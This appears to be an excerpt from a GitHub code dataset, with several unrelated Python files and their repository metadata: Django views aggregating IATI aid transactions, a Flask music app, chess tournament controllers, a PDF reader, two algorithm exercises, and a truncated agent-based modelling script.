(\n DjangoFilterBackend,\n RelatedOrderingFilter\n )\n filter_class = TransactionFilter\n pagination_class = CustomTransactionPagination\n ordering_fields = '__all__'\n ordering = ('id', 'activity__iati_identifier',)\n\n # make sure we can always have info about selectable fields,\n # stored into dict. This dict is populated in the DynamicView class using\n # _get_query_fields methods.\n selectable_fields = ()\n\n # Required fields for the serialisation defined by the\n # specification document\n fields = (\n 'iati_identifier',\n 'sectors',\n 'recipient_regions',\n 'recipient_countries',\n 'transactions'\n\n )\n\n # column headers with paths to the json property value.\n # reference to the field name made by the first term in the path\n # example: for recipient_countries.country.code path\n # reference field name is first term, meaning recipient_countries.\n csv_headers = \\\n {\n 'iati_identifier': {'header': 'activity_id'},\n 'sectors.sector.code': {'header': 'sector_code'},\n 'sectors.percentage': {'header': 'sectors_percentage'},\n 'recipient_countries.country.code': {'header': 'country'},\n 'recipient_regions.region.code': {'header': 'region'},\n }\n\n # Get all transaction type\n transaction_types = []\n # for transaction_type in list(TransactionType.objects.all()):\n # transaction_types.append(transaction_type.code)\n\n # Activity break down column\n break_down_by = 'sectors'\n # selectable fields which required different render logic.\n # Instead merging values using the delimiter, this fields will generate\n # additional columns for the different values, based on defined criteria.\n exceptional_fields = [{'transactions': transaction_types}] # NOQA: E501\n\n '''\n fields = (\n 'url',\n 'activity',\n 'provider_organisation',\n 'receiver_organisation',\n 'currency',\n 'transaction_type',\n 'value_date',\n 'value',\n )\n '''\n search_fields = (\n 'description',\n 'provider_organisation',\n 'receiver_organisation',\n )\n\n @method_decorator(\n cache_page(settings.CACHES.get('default').get('TIMEOUT'))\n )\n def dispatch(self, *args, **kwargs):\n return super(TransactionList, self).dispatch(*args, **kwargs)\n\n\nclass TransactionDetail(CacheResponseMixin, DynamicDetailView):\n \"\"\"\n Returns detailed information about Transaction.\n\n ## URI Format\n\n ```\n /api/transactions/{transaction_id}\n ```\n\n ### URI Parameters\n\n - `transaction_id`: Numerical ID of desired Transaction\n\n ## Request parameters\n\n - `fields` (*optional*): List of fields to display\n\n \"\"\"\n queryset = Transaction.objects.all()\n serializer_class = TransactionSerializer\n filter_backends = (\n DjangoFilterBackend,\n RelatedOrderingFilter\n )\n filter_class = TransactionFilter\n ordering_fields = '__all__'\n ordering = ('id', 'activity__iati_identifier',)\n\n # make sure we can always have info about selectable fields,\n # stored into dict. This dict is populated in the DynamicView class using\n # _get_query_fields methods.\n selectable_fields = ()\n\n # Required fields for the serialisation defined by the\n # specification document\n fields = (\n 'iati_identifier',\n 'sectors',\n 'recipient_regions',\n 'recipient_countries',\n 'transactions'\n )\n\n # column headers with paths to the json property value.\n # reference to the field name made by the first term in the path\n # example: for recipient_countries.country.code path\n # reference field name is first term, meaning recipient_countries.\n csv_headers = \\\n {\n 'iati_identifier': {'header': 'activity_id'},\n 'sectors.sector.code': {'header': 'sector_code'},\n 'sectors.percentage': {'header': 'sectors_percentage'},\n 'recipient_countries.country.code': {'header': 'country'},\n 'recipient_regions.region.code': {'header': 'region'},\n }\n\n # Activity break down column\n break_down_by = 'sectors'\n # selectable fields which required different render logic.\n # Instead merging values using the delimiter, this fields will generate\n # additional columns for the different values, based on defined criteria.\n exceptional_fields = [{'transactions': []}] # NOQA: E501\n\n\nclass TransactionSectorList(ListCreateAPIView):\n serializer_class = TransactionSectorSerializer\n\n def get_queryset(self):\n pk = self.kwargs.get('pk')\n return Transaction(pk=pk).sectors.all()\n\n\nclass TransactionSectorDetail(RetrieveUpdateDestroyAPIView):\n serializer_class = TransactionSectorSerializer\n\n def get_object(self):\n pk = self.kwargs.get('id')\n return TransactionSector.objects.get(pk=pk)\n\n\n# These are the accepted currencies\ncurrencies = [\n 'xdr',\n 'usd',\n 'eur',\n 'gbp',\n 'jpy',\n 'cad'\n]\n\n\ndef annotate_currency(query_params, groupings):\n \"\"\"\n Choose the right currency field, and aggregate differently based on\n group_by\n \"\"\"\n currency = query_params.get('convert_to')\n currency_field = None\n\n if currency:\n currency = currency.lower()\n\n if currency is None or currency not in currencies:\n currency_field = 'value'\n else:\n currency_field = currency + '_value'\n\n annotation_components = F(currency_field)\n\n param_additions = []\n\n for param in query_params:\n if param == 'recipient_country':\n param_additions.append('transactionrecipientcountry__percentage')\n elif param == 'recipient_region':\n param_additions.append('transactionrecipientregion__percentage')\n elif param == 'sector':\n param_additions.append('transactionsector__percentage')\n\n grouping_additions = []\n\n for grouping in groupings:\n if grouping.query_param == 'recipient_country':\n grouping_additions.append(\n 'transactionrecipientcountry__percentage')\n elif grouping.query_param == 'recipient_region':\n grouping_additions.append('transactionrecipientregion__percentage')\n elif grouping.query_param == 'sector':\n grouping_additions.append('transactionsector__percentage')\n\n additions = list(set(param_additions).union(grouping_additions))\n\n for percentage_field in additions:\n percentage_expression = Cast(percentage_field,\n output_field=FloatField()) / 100.0\n annotation_components = annotation_components * percentage_expression\n\n return ExpressionWrapper(Sum(annotation_components),\n output_field=FloatField())\n\n\nclass TransactionAggregation(AggregationView):\n \"\"\"\n Returns aggregations based on the item grouped by, and the selected\n aggregation.\n\n ## Group by options\n\n API request has to include `group_by` parameter.\n\n This parameter controls result aggregations and\n can be one or more (comma separated values) of:\n\n - `recipient_country`\n - `recipient_region`\n - `sector`\n - `related_activity`\n - `transaction_type`\n - `reporting_organisation`\n - `participating_organisation`\n - `receiver_org`\n - `provider_org`\n - `document_link_category`\n - `activity_status`\n - `participating_organisation_type`\n - `collaboration_type`\n - `default_flow_type`\n - `default_finance_type`\n - `default_aid_type`\n - `default_tied_status`\n - `transaction_date_month`\n - `transaction_date_quarter`\n - `transaction_date_year`\n\n ## Aggregation options\n\n API request has to include `aggregations` parameter.\n\n This parameter controls result aggregations and\n can be one or more (comma separated values) of:\n\n - `count`\n - `activity_count`\n - `value`\n - `disbursement`\n - `expenditure`\n - `commitment`\n - `incoming_fund`\n - `incoming_commitment`\n - `disbursement_expenditure` Disbursement and expenditure summed togehther\n\n\n ## Currency options\n\n By default the values returned by the aggregations are in the reported\n currency. This only renders meaningful results when all values were in the\n same currency. Which is only the case when you filter your results down.\n\n The aggregation endpoints have the ability to return values in a currency.\n Options for this `convert_to` parameter are:\n\n - `xdr`\n - `usd`\n - `eur`\n - `gbp`\n - `jpy`\n - `cad`\n\n This results in converted values when the original value was in another\n currency.\n\n Information on used exchange rates can be found\n in the docs.\n\n\n ## Request parameters\n\n All filters available on the Transaction List, can be used on aggregations.\n\n \"\"\"\n\n queryset = Transaction.objects.all()\n\n filter_backends = (SearchFilter, DjangoFilterBackend,)\n filter_class = TransactionAggregationFilter\n\n allowed_aggregations = (\n Aggregation(\n query_param='count',\n field='count',\n annotate=Count('id'),\n ),\n Aggregation(\n query_param='activity_count',\n field='activity_count',\n annotate=Count('activity', distinct=True),\n ),\n Aggregation(\n query_param='value',\n field='value',\n annotate=annotate_currency,\n ),\n Aggregation(\n query_param='incoming_fund',\n field='incoming_fund',\n annotate=annotate_currency,\n extra_filter=Q(transaction_type=1),\n ),\n Aggregation(\n query_param='commitment',\n field='commitment',\n annotate=annotate_currency,\n extra_filter=Q(transaction_type=2),\n ),\n Aggregation(\n query_param='disbursement',\n field='disbursement',\n annotate=annotate_currency,\n extra_filter=Q(transaction_type=3),\n ),\n Aggregation(\n query_param='expenditure',\n field='expenditure',\n annotate=annotate_currency,\n extra_filter=Q(transaction_type=4),\n ),\n Aggregation(\n query_param='incoming_commitment',\n field='incoming_commitment',\n annotate=annotate_currency,\n extra_filter=Q(transaction_type=11),\n ),\n Aggregation(\n query_param='disbursement_expenditure',\n field='disbursement_expenditure',\n annotate=annotate_currency,\n extra_filter=Q(transaction_type__in=[3, 4]),\n ),\n Aggregation(\n query_param='outgoing_pledge',\n field='outgoing_pledge',\n annotate=annotate_currency,\n extra_filter=Q(transaction_type=12),\n ),\n Aggregation(\n query_param='incoming_pledge',\n field='incoming_pledge',\n annotate=annotate_currency,\n extra_filter=Q(transaction_type=13),\n ),\n Aggregation(\n query_param='purchase_of_equity',\n field='purchase_of_equity',\n annotate=annotate_currency,\n extra_filter=Q(transaction_type=8),\n ),\n )\n\n allowed_groupings = (\n GroupBy(\n query_param=\"recipient_country\",\n fields=\"transactionrecipientcountry__country\",\n renamed_fields=\"recipient_country\",\n queryset=Country.objects.all(),\n serializer=CountrySerializer,\n serializer_fields=('url', 'code', 'name', 'location', 'region'),\n name_search_field='transactionrecipientcountry__country__name',\n renamed_name_search_field='recipient_country_name',\n ),\n GroupBy(\n query_param=\"recipient_region\",\n fields=\"transactionrecipientregion__region__code\",\n renamed_fields=\"recipient_region\",\n queryset=Region.objects.all(),\n serializer=RegionSerializer,\n serializer_fk='code',\n serializer_fields=('url', 'code', 'name', 'location'),\n name_search_field=\"transactionrecipientregion__region__name\",\n renamed_name_search_field=\"recipient_region_name\",\n ),\n GroupBy(\n query_param=\"sector\",\n fields=\"transactionsector__sector__code\",\n renamed_fields=\"sector\",\n queryset=Sector.objects.all(),\n serializer=SectorSerializer,\n serializer_fk='code',\n serializer_fields=('url', 'code', 'name', 'location'),\n name_search_field=\"transactionsector__sector__name\",\n renamed_name_search_field=\"sector_name\",\n ),\n GroupBy(\n query_param=\"sector_category\",\n fields=\"transactionsector__sector__category\",\n renamed_fields=\"sector_category\",\n queryset=Sector.objects.all(),\n serializer=SectorSerializer,\n serializer_fields=(\"code\", \"name\"),\n ),\n GroupBy(\n query_param=\"related_activity\",\n fields=(\n \"activity__relatedactivity__ref_activity__iati_identifier\"\n ),\n renamed_fields=\"related_activity\",\n ),\n GroupBy(\n query_param=\"transaction_type\",\n fields=(\"transaction_type\"),\n queryset=TransactionType.objects.all(),\n serializer=CodelistSerializer,\n ),\n GroupBy(\n query_param=\"reporting_organisation\",\n fields=\"activity__reporting_organisations__organisation__id\",\n renamed_fields=\"reporting_organisation\",\n queryset=Organisation.objects.all(),\n serializer=OrganisationAggregationSerializer,\n serializer_main_field='id',\n name_search_field=\"activity__reporting_organisations__\\\n organisation__primary_name\",\n renamed_name_search_field=\"reporting_organisation_name\"\n ),\n GroupBy(\n query_param=\"participating_organisation\",\n fields=(\"activity__participating_organisations__primary_name\",\n \"activity__participating_organisations__normalized_ref\"),\n renamed_fields=(\"participating_organisation\",\n \"participating_organisation_ref\"),\n queryset=ActivityParticipatingOrganisation.objects.all(),\n name_search_field=\"activity__participating_organisations\\\n __primary_name\",\n renamed_name_search_field=\"participating_organisation_name\"\n ),\n GroupBy(\n query_param=\"provider_org\",\n fields=(\"provider_organisation__primary_name\"),\n renamed_fields=\"provider_org\",\n name_search_field=\"provider_organisation__primary_name\",\n renamed_name_search_field=\"provider_org_name\"\n ),\n GroupBy(\n query_param=\"receiver_org\",\n fields=(\"receiver_organisation__primary_name\"),\n renamed_fields=\"receiver_org\",\n name_search_field=\"receiver_organisation__primary_name\",\n renamed_name_search_field=\"receiver_org_name\"\n ),\n GroupBy(\n query_param=\"document_link_category\",\n fields=\"activity__documentlink__categories__code\",\n renamed_fields=\"document_link_category\",\n queryset=DocumentCategory.objects.all(),\n serializer=CodelistSerializer,\n name_search_field=\"activity__documentlink__categories__name\",\n renamed_name_search_field=\"document_link_category_name\"\n ),\n GroupBy(\n query_param=\"activity_status\",\n fields=\"activity__activity_status\",\n renamed_fields=\"activity_status\",\n queryset=ActivityStatus.objects.all(),\n serializer=CodelistSerializer,\n name_search_field=\"activity__activity_status__name\",\n renamed_name_search_field=\"activity_status_name\"\n ),\n GroupBy(\n query_param=\"participating_organisation_type\",\n fields=\"activity__participating_organisations__type\",\n renamed_fields=\"participating_organisation_type\",\n queryset=OrganisationType.objects.all(),\n serializer=CodelistSerializer,\n name_search_field=\"activity__participating_organisations__type\\\n __name\",\n renamed_name_search_field=\"participating_organisations_type\\\n _name\"\n ),\n GroupBy(\n query_param=\"collaboration_type\",\n fields=\"activity__collaboration_type\",\n renamed_fields=\"collaboration_type\",\n queryset=CollaborationType.objects.all(),\n serializer=CodelistSerializer,\n name_search_field=\"activity__collaboration_type__name\",\n renamed_name_search_field=\"collaboration_type_name\"\n ),\n GroupBy(\n query_param=\"default_flow_type\",\n fields=\"activity__default_flow_type\",\n renamed_fields=\"default_flow_type\",\n queryset=FlowType.objects.all(),\n serializer=CodelistSerializer,\n ),\n GroupBy(\n query_param=\"default_finance_type\",\n fields=\"activity__default_finance_type\",\n renamed_fields=\"default_finance_type\",\n queryset=FinanceType.objects.all(),\n serializer=CodelistSerializer,\n ),\n GroupBy(\n query_param=\"default_aid_type\",\n fields=\"activity__default_aid_types__aid_type__code\",\n renamed_fields=\"default_aid_type\",\n serializer_fk='code',\n queryset=AidType.objects.all(),\n serializer=CodelistSerializer,\n ),\n GroupBy(\n query_param=\"default_tied_status\",\n fields=\"activity__default_tied_status\",\n renamed_fields=\"default_tied_status\",\n queryset=TiedStatus.objects.all(),\n serializer=CodelistSerializer,\n ),\n GroupBy(\n query_param=\"policy_marker_significance\",\n fields=\"activity__activitypolicymarker__significance\",\n renamed_fields=\"significance\",\n queryset=PolicySignificance.objects.all(),\n serializer=CodelistSerializer,\n ),\n GroupBy(\n query_param=\"transaction_date_year\",\n extra={\n 'select': {\n 'transaction_date_year': 'EXTRACT(\\\n YEAR FROM \"transaction_date\")::integer',\n },\n 'where': [\n 'EXTRACT(\\\n YEAR FROM \"transaction_date\")::integer IS NOT NULL',\n ],\n },\n fields=\"transaction_date_year\",\n ),\n GroupBy(\n query_param=\"transaction_date_quarter\",\n extra={\n 'select': {\n 'transaction_date_year': 'EXTRACT(YEAR \\\n FROM \"transaction_date\")::integer',\n 'transaction_date_quarter': 'EXTRACT(QUARTER FROM \\\n \"transaction_date\")::integer',\n },\n 'where': [\n 'EXTRACT(YEAR FROM \"transaction_date\")::integer \\\n IS NOT NULL',\n 'EXTRACT(QUARTER FROM \"transaction_date\")::integer \\\n IS NOT NULL',\n ],\n },\n fields=(\"transaction_date_year\", \"transaction_date_quarter\")\n ),\n GroupBy(\n query_param=\"transaction_date_month\",\n extra={\n 'select': {\n 'transaction_date_year': 'EXTRACT(YEAR \\\n FROM \"transaction_date\")::integer',\n 'transaction_date_month': 'EXTRACT(MONTH \\\n FROM \"transaction_date\")::integer',\n },\n 'where': [\n 'EXTRACT(YEAR FROM \"transaction_date\")::integer \\\n IS NOT NULL',\n 'EXTRACT(MONTH FROM \"transaction_date\")::integer \\\n IS NOT NULL',\n ],\n },\n fields=(\"transaction_date_year\", \"transaction_date_month\")\n ),\n )\n\n @method_decorator(\n cache_page(settings.CACHES.get('default').get('TIMEOUT'))\n )\n def dispatch(self, *args, **kwargs):\n return super(TransactionAggregation, self).dispatch(*args, **kwargs)\n","repo_name":"EwoutGoet/iati_data","sub_path":"OIPA/api/transaction/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":23426,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"36833064754","text":"from flask import redirect, render_template, request, session\nfrom flask_jsontools import jsonapi\n\nfrom app import app\nfrom app.facts import Factoid\nfrom app.lastfm import LastFm\nfrom app.manager import create_history, get_match, get_recent_history, get_song, parseId3Tags, \\\n scanDirectory, setAlbumArtist, setAlbumName, setAlbumSize, setArtistName, setSongAlbum, \\\n setSongArtist, setSongName, setSongTrackNumber, set_match_result, validateSongs\nfrom app.models import Album, Artist, Song\nfrom app.recommendations import Recommendations\n\n\n@app.route('/', defaults={'path': ''})\n@app.route('/')\ndef index(path):\n lastfm = LastFm()\n app.logger.info('LastFM session_key = {}'.format(lastfm.network.session_key))\n if not lastfm.network.session_key:\n app.logger.warn('authenticating with LastFM')\n return redirect('{}&cb={}'.format(lastfm.URL_AUTH, lastfm.URL_CALLBACK))\n return render_template('base.html')\n\n\n@app.route('/lastfm/callback')\ndef lastfm_callback():\n token = request.args.get('token')\n app.logger.info('lastfm callback received with token: {}'.format(token))\n if not token:\n raise ValueError('Invalid token received')\n LastFm(token)\n return redirect('/')\n\n\n@app.route('/find/')\n@jsonapi\ndef findFiles(grouping):\n app.logger.info('grouping = {}'.format(grouping))\n\n if grouping == 'artists':\n qry = Artist.query.filter(\n Artist.rating.isnot(None),\n )\n\n elif grouping == 'albums':\n qry = Album.query.filter(\n Album.rating.isnot(None),\n )\n\n elif grouping == 'songs':\n qry = Song.query\n\n else:\n return []\n\n rows = qry.all()\n\n return rows\n\n\n@app.route('/scan/dir')\n@jsonapi\ndef scanDir():\n res = {}\n res['lost'] = validateSongs()\n res['new'] = scanDirectory()\n return res\n\n\n@app.route('/scan/id3')\n@jsonapi\ndef scanId3():\n res = {}\n res['parsed'] = parseId3Tags()\n return res\n\n\n#########################################################################################\n# SONG\n#########################################################################################\n\n@app.route('/song/load')\n@jsonapi\ndef load_song():\n return get_song()\n\n\n@app.route('/song/ended', methods=['POST'])\n@jsonapi\ndef ended_song():\n id = request.form.get('id', 0, type=int)\n song = Song.query.get_or_404(id)\n history = create_history(song)\n app.logger.info('Set {} as {}'.format(song, history))\n LastFm().scrobble(history)\n return history\n\n\n#########################################################################################\n# HISTORIES\n#########################################################################################\n\n@app.route('/histories/load')\n@jsonapi\ndef load_histories():\n return get_recent_history()\n\n\n#########################################################################################\n# MATCH\n#########################################################################################\n\n@app.route('/match/load', methods=['POST'])\n@jsonapi\ndef load_match():\n id = request.form.get('id', 0, type=int)\n song = Song.query.get_or_404(id)\n match = get_match(song)\n app.logger.info('Match: {}'.format(match))\n return match\n\n\n@app.route('/match/set', methods=['POST'])\n@jsonapi\ndef set_match():\n app.logger.info('Request form {}'.format(request.form))\n id = request.form.get('winner', 0, type=int)\n app.logger.info('Winner id {}'.format(id))\n song = Song.query.get_or_404(id)\n\n losers = request.form.getlist('losers[]')\n app.logger.info('Losers {}'.format(losers))\n ratings = set_match_result(song, losers)\n\n LastFm().show_some_love([song] + [r.song_loser for r in ratings])\n\n app.logger.info('Returning {} ratings: {}'.format(len(ratings), ratings))\n return ratings\n\n\n\n@app.route('/factoid/', methods=['POST'])\n@jsonapi\ndef factoid_set(info):\n app.logger.info('set {}'.format(info))\n\n form_data = request.get_json()\n app.logger.info('form data: {}'.format(form_data))\n\n if info == 'artists':\n artist = Artist.query.get_or_404(form_data.get('id', 0))\n if 'name' in form_data:\n setArtistName(artist, form_data.get('name', None))\n else:\n raise ValueError('No artist key found to update')\n\n elif info == 'albums':\n album = Album.query.get_or_404(form_data.get('id', 0))\n if 'name' in form_data:\n album = setAlbumName(album, form_data['name'])\n # for song in album.songs:\n # setSongAlbum(song, album)\n elif 'total_tracks' in form_data:\n setAlbumSize(album, form_data['total_tracks'])\n elif 'artist.name' in form_data:\n setAlbumArtist(album, form_data['artist.name'])\n else:\n raise ValueError('No album key found to update')\n return album\n\n elif info == 'songs':\n song = Song.query.get_or_404(form_data.get('id', 0))\n if 'name' in form_data:\n setSongName(song, form_data.get('name', None))\n elif 'track_number' in form_data:\n setSongTrackNumber(song, form_data.get('track_number', None))\n elif 'artist.name' in form_data:\n setSongArtist(song, form_data.get('artist.name', None))\n elif 'album.name' in form_data:\n setSongAlbum(song, form_data.get('album.name', None))\n else:\n raise ValueError('No song key found to update')\n return song\n\n raise Exception('unknown info {}'.format(info))\n\n\n@app.route('/factoid', methods=['GET'])\n@jsonapi\ndef factoid():\n factoid_session = session.get('factoid', [])\n app.logger.info('factoid session = {}'.format(factoid_session))\n return Factoid(factoid_session).next_fact()\n\n\n@app.route('/recommendations', methods=['GET'])\n@jsonapi\ndef recommendations():\n recommendation = Recommendations().run()\n return recommendation\n\n","repo_name":"Tjorriemorrie/speler","sub_path":"app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5906,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"70693668839","text":"from collections import deque\nimport heapq\n\n# def solution(board):\n# answer = 0\n# n = len(board[0])\n\n# dr = [0, 1, 0, -1]\n# dc = [1, 0, -1, 0]\n# def bfs():\n# dp = [[None] * n for _ in range(n)]\n# dp[0][0] = 0\n# q = [(0, None, 0, 0)]\n# heapq.heapify(q)\n# while q:\n# cost, direction, r, c = q.pop(0)\n# for i in range(len(dr)):\n# nr, nc = r + dr[i], c + dc[i]\n# if 0 <= nr < n and 0 <= nc < n and board[nr][nc] == 0:\n# if dp[nr][nc] == None:\n# new_cost = cost + (100 if direction == None or i == direction else 600)\n# heapq.heappush(q, (new_cost, i, nr, nc))\n# dp[nr][nc] = new_cost\n# for i in dp: \n# print(i)\n# return dp[n-1][n-1]\n\n# return bfs() \n\ndef solution(board):\n answer = 0\n n = len(board[0])\n\n dr = [0, 1, 0, -1]\n dc = [1, 0, -1, 0]\n def bfs():\n visited = [[None] * n for _ in range(n)]\n visited[0][0] = 0\n q = deque([(0, 0, 0, 0), (1, 0, 0, 0)])\n while q:\n direction, cost, r, c = q.popleft()\n for i in range(len(dr)):\n nr, nc = r + dr[i], c + dc[i]\n if 0 <= nr < n and 0 <= nc < n and board[nr][nc] == 0:\n new_cost = cost + (100 if i == direction else 600)\n if not visited[nr][nc] or visited[nr][nc] >= new_cost:\n q.append((i, new_cost, nr, nc))\n visited[nr][nc] = new_cost\n \n return visited[n-1][n-1]\n\n return bfs() \n\nprint(\n solution([[0,0,1,0],[0,0,0,0],[0,1,0,1],[1,0,0,0]])\n)\n","repo_name":"holquew/PS","sub_path":"boj/tempp.py","file_name":"tempp.py","file_ext":"py","file_size_in_byte":1732,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"27995287574","text":"'''Controller link to players management.\n\nClasses:\n RankingUpdateController\n PlayerListController\n PlayerRankingUpdateController\n AddPlayerController\n ShowPlayerController\n\n'''\n\nfrom tinydb import TinyDB, Query\n\nfrom . import main_controllers\nfrom ..models.menus import Menu\nfrom ..models.Player import Players, Player\nfrom ..views.menu_views import (\n RankingUpdateMenuView,\n ChoicePlayerMenuView)\nfrom ..views.player_views import (\n AddPlayerView,\n PlayerListView,\n PlayerRankingUpdateView\n )\n\n\nclass RankingUpdateController:\n '''Controller which generate the ranking update menu,\n ask the user choice, then return the linked controller.'''\n\n def __init__(self):\n self._menu = Menu()\n self._view = RankingUpdateMenuView(self._menu)\n\n def __call__(self):\n # Generate the reports menu\n self._menu.add(\n \"auto\",\n \"Afficher la liste des joueurs\",\n PlayerListController())\n self._menu.add(\n \"auto\",\n \"Afficher la liste des joueurs par classement\",\n PlayerListController(\"Ranking\"))\n self._menu.add(\n \"auto\",\n \"Afficher la liste des joueurs par nom\",\n PlayerListController(\"Name\"))\n self._menu.add(\n \"auto\",\n \"Afficher la liste des joueurs par age\",\n PlayerListController(\"Age\"))\n self._menu.add(\n \"a\",\n \"Allez au menu d'acceuil\",\n main_controllers.HomeMenuController())\n self._menu.add(\n \"q\",\n \"Quitter l'application\",\n main_controllers.ExitApplicationController())\n\n # Ask user choice\n user_choice = self._view.get_user_choice()\n\n # Return the controller link to user choice\n # to the main controller\n return user_choice.handler\n\n\nclass PlayerListController:\n '''Controller link to RankingUpdateController which show the sorted\n player list, ask which player to update or if the user want to go back\n to an upper menu, then return the appropriate controller'''\n\n def __init__(self, list_filter=None):\n self._menu = Menu()\n self._menu_view = ChoicePlayerMenuView(self._menu)\n self._view = PlayerListView()\n if list_filter == \"Ranking\":\n self.players_list = self._sort_by_ranking()\n elif list_filter == \"Name\":\n self.players_list = self._sort_by_name()\n elif list_filter == \"Age\":\n self.players_list = self._sort_by_age()\n else:\n self.players_list = Players.players.copy()\n\n def __call__(self):\n # Show the players list\n self._view.show_players(self.players_list)\n\n # Ask player choice\n choice = self._view.get_player_choice()\n\n # Generate the player ranking update menu\n self._menu.add(\n \"auto\",\n f\"Modifier le classement du joueur n°{choice + 1}\",\n PlayerRankingUpdateController(self.players_list[choice]))\n self._menu.add(\n \"a\",\n \"Allez au menu d'acceuil\",\n main_controllers.HomeMenuController())\n self._menu.add(\n \"q\",\n \"Quitter l'application\",\n main_controllers.ExitApplicationController())\n\n # Ask user choice\n user_choice = self._menu_view.get_user_choice()\n\n # Return the controller link to user choice\n # to the main controller\n return user_choice.handler\n\n def _sort_by_ranking(self):\n players_list = Players.players.copy()\n players_list.sort(key=lambda x: x.rank, reverse=True)\n return players_list\n\n def _sort_by_name(self):\n players_list = Players.players.copy()\n players_list.sort(key=lambda x: (x.name, x.firstname))\n return players_list\n\n def _sort_by_age(self):\n players_list = Players.players.copy()\n players_list.sort(key=lambda x: (x.birthday, x.name))\n return players_list\n\n\nclass PlayerRankingUpdateController:\n '''Controller used to update the ranking of one player.'''\n\n def __init__(self, player):\n self._player = player\n self._view = PlayerRankingUpdateView()\n\n def __call__(self):\n # Ask for new ranking\n rank = self._view.ask_for_new_ranking()\n # Ask for validation\n if self._view.ask_for_validation():\n # update rank\n self._player.rank = rank\n # Save the player in Players.player\n self._save_in_players_list()\n # Save the player in db_players.json\n self._save_in_db_players()\n # Go back to main menu\n return main_controllers.HomeMenuController()\n\n def _save_in_players_list(self):\n for player in Players.players:\n if player == self._player:\n player = self._player\n break\n\n def _save_in_db_players(self):\n db_players = TinyDB(\n 'ChessTournaments/models/database/db_players.json')\n query = Query()\n serialized_player = self._player.serialize()\n player_filter = (\n (query.name == serialized_player[\"name\"])\n & (query.firstname == serialized_player[\"firstname\"])\n & (query.birthday == serialized_player[\"birthday\"])\n & (query.sex == serialized_player[\"sex\"]))\n db_players.update(\n serialized_player,\n player_filter)\n\n\nclass AddPlayerController:\n '''Controller which manages the addition of a new player,\n then return the HomeMenuController.'''\n\n def __init__(self):\n self._players = Players.players\n self._view = AddPlayerView()\n\n def __call__(self):\n player_added = False\n # Ask for player name\n name = self._view.get_player_name()\n\n # Check if this name is already in Players.players list\n players_with_same_name = Players.is_player_exist(name)\n if len(players_with_same_name) > 0:\n # There is at least one player with the same name\n # Ask if one of this(these) player(s) is the player\n # the user want to add\n player_added = self._view.ask_if_player_in_list(\n players_with_same_name)\n\n if not player_added:\n # This is a new player, add to the Players.players list\n firstname = self._view.get_player_firstname()\n birthday = self._view.get_player_birthday()\n sex = self._view.get_player_sex()\n rank = self._view.get_player_rank()\n Players.add_player(\n Player(name, firstname, birthday, sex, rank))\n\n # Go back to main menu\n return main_controllers.HomeMenuController()\n\n\nclass ShowPlayerController(PlayerListController):\n '''Controller call by GenerateReportsController\n in order to show a sorted player list,\n then return the HomeMenuController.'''\n\n def __init__(self, list_order):\n self._view = PlayerListView()\n self._list_order = list_order\n\n def __call__(self):\n # Generate the ordered player list\n if self._list_order == \"Ranking\":\n players_list = self._sort_by_ranking()\n elif self._list_order == \"Name\":\n players_list = self._sort_by_name()\n\n # Show the players list\n self._view.show_players(players_list)\n\n # Return to the Tournaments Reports controller\n return main_controllers.GenerateReportsController()\n","repo_name":"sebastiengiordano/OC__DA_Python_P4","sub_path":"ChessTournaments/controllers/player_controller.py","file_name":"player_controller.py","file_ext":"py","file_size_in_byte":7484,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"22236336515","text":"from PyPDF2 import PdfFileReader\n\n\nclass PdfReader:\n @staticmethod\n def reader(pdf_document):\n with open(pdf_document, 'rb') as filehandle:\n pdf = PdfFileReader(filehandle)\n pages = pdf.getNumPages()\n ex_page = []\n for i in range(pages):\n ex_page.append(pdf.getPage(i).extractText())\n print(ex_page[0])\n return ex_page\n\n\nif __name__ == '__main__':\n text = r'D:\\pythonProject\\pdfProject\\kvitki\\rostelekom_202205[25].pdf'\n PdfReader.reader(text)\n","repo_name":"Dogggy9/kvitkiProject","sub_path":"pdf_reader.py","file_name":"pdf_reader.py","file_ext":"py","file_size_in_byte":540,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"14705993623","text":"class Solution:\n def validTree(self, n: int, edges: List[List[int]]) -> bool:\n if len(edges) != n - 1:\n return False\n \n g = defaultdict(list)\n for a, b in edges:\n g[a].append(b)\n g[b].append(a)\n \n visited = [False] * n\n self.dfs(g, 0, visited)\n \n return all(node is True for node in visited)\n \n def dfs(self, g, start, visited):\n if visited[start]:\n return\n \n visited[start] = True\n \n for end in g[start]:\n self.dfs(g, end, visited)","repo_name":"Na-Nazhou/LeetCode-Solutions","sub_path":"graph-valid-tree/graph-valid-tree.py","file_name":"graph-valid-tree.py","file_ext":"py","file_size_in_byte":598,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"1317336480","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Sep 17 10:02:14 2019\n\n@author: gyhlb\n\"\"\"\n\n# import random\nimport random \n# import operator \nimport operator\n# import matplotlib.pyplot \nimport matplotlib.pyplot\n\n\n#create agents list\nagents = []\n## Append two random coordinates to the agents list\n\nnum_of_agents = 10\n# Create num_of_agents\n#for i in range(0, num_of_agents,2):\n#for i in range(0, num_of_agents):\nfor i in range(num_of_agents):\n print(i)\n agents.append([random.randint(0,99),random.randint(0,99)])\nprint(agents)\n\n\n#y0 = random.randint(0,99)\n#x0 = random.randint(0,99)\n\n\nprint(agents)\n# find the largest coordinate\nprint(max(agents)) # this only takes in account the first y, not x\n# to find the largest x coordinate (the furthest east)\nprint(max(agents, key=operator.itemgetter(1)))\n#print (y0)\n\n#matplotlib.pyplot.ylim(0, 99)\n#matplotlib.pyplot.xlim(0, 99)\n#matplotlib.pyplot.scatter(agents[0][1],agents[0][0])\n#matplotlib.pyplot.scatter(agents[1][1],agents[1][0])\n#max_dot = max(agents, key=operator.itemgetter(1))\n#matplotlib.pyplot.scatter(max_dot[1],max_dot[0], color='red')\n#matplotlib.pyplot.show()\n\n\nmatplotlib.pyplot.ylim(0, 99)\nmatplotlib.pyplot.xlim(0, 99)\n\nfor i in 